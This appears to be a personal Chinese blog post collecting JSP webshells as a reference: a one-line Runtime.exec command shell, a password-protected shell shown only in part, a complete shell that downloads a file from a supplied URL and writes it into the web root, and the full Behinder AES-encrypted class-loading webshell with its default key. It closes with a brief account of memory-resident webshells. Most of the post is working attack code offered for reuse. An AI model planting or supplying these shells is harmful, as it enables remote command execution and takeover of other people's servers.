jsp的马,写下来以后看
无回显执行命令
1 | <%Runtime.getRuntime().exec(request.getParameter("i"));%> |
有回显带密码执行命令
1 | <% |
pwd为密码参数名,密码为b,i为命令执行参数
jsp一句话木马
1 | <%import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> |
密码为pass
远程执行下载文件
1 | <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> |
传入f为文件名称,u为URL地址
冰蝎马
1 | <%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |
来源:https://blog.csdn.net/qq_36119192/article/details/84563791
内存马
内存马一般为,相较普通马难以检测(但也不是不能检测https://paper.seebug.org/1381/),一般分成两种,一种为servlet-api型,另一种为字节码增强型。
第一种较好理解,通过命令执行等方式,动态注册一个新的listener、filter或servlet,第二种则通过java的instrumentation动态修改已有代码。具体可以看这篇文章:https://www.freebuf.com/articles/web/274466.html
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/03/06/jsp马/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!